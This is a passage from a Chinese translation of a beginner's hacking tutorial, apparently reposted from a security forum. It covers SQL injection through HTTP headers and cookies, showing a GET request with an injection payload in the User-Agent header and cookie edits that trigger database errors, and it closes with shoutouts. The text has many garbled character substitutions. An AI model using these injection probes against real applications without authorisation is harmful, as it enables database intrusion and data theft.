Referer是另外一個HTTP標頭,一旦應用程序將其存儲在數據庫中而不對其進行清理,它可能容易受到sql注入攻擊。 它是一個可選的頭字段,容許客戶端爲服務器的好處指定從中獲取請求中的URI的文檔(或文檔中的元素)的地址(URI)。 這容許服務器生成文檔的反向連接列表,用於興趣,記錄等。它容許跟蹤故障連接以進行維護。

GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://www.yaboukir.com
#0x10.d~Cookie

Cookie Manager +(Firefox Addon)容許查看,編輯和建立新的Cookie。它還容許顯示有關cookie的額外信息,並容許一次編輯多個cookie,以及備份/恢復它們。

安裝後,從「工具」菜單中選擇「Cookies管理器+」。咱們選擇與目標應用程序相關的Cookie變量。

咱們將編輯language_id變量。爲了弄清楚SQL注入缺陷,咱們將在字段中添加引號「'」
變量language_id的內容。

刷新頁面或單擊應用程序的其餘內部連接後,應用程序將使用編輯的HTTP cookie提交請求。結果是觸發了SQL錯誤:

此數據庫錯誤警告咱們易受SQL注入漏洞。

使用Cookies Manager +的優勢是它易於使用,直接對cookie執行操做並保存之前編輯的cookie值。

咱們將嘗試使用另外一個Firefox插件肯定列數。

Greetz&Shoutz

在darkmindz向全部人致以Greetz。在GNY和如今r00tw0rm未定義的狀況下,對於Psycho和sToRm(兩個傢伙)的負荷。也歡迎t0mmy9(感謝老是幫助我學習東西),這是合法的。

嗨,我全部的同窗bigyan musa,bhakunde sameer,gainda sandeep,joe haatti,dipesh bhedo,eman bhainsi,milan biralo,nikesh gandeula(Pheretima posthuma)和我全部的其餘同窗。大家這些人,我在生物課上度過了無聊的日子。但願能見到大家全部人。我但願大家有光明的將來。成爲成功的醫生,工程師或任何你想成爲的人......

結束

有了這個,個人教程主要是針對新手,在這裏結束。我但願你喜歡個人教程。在我自學了全部這些東西后,我但願能在新手概念中編寫新的教程。

最後,閱讀愈來愈多,愈來愈多地問,這是學習東西的最佳方式。

繼續學習和享受它。

Free to Freedom... Hack The Planet !

做者: Insider

翻譯:i春秋翻譯小組-Neo(李皓偉)

翻譯來源:https://greysec.net/showthrea...

相關文章
相關標籤/搜索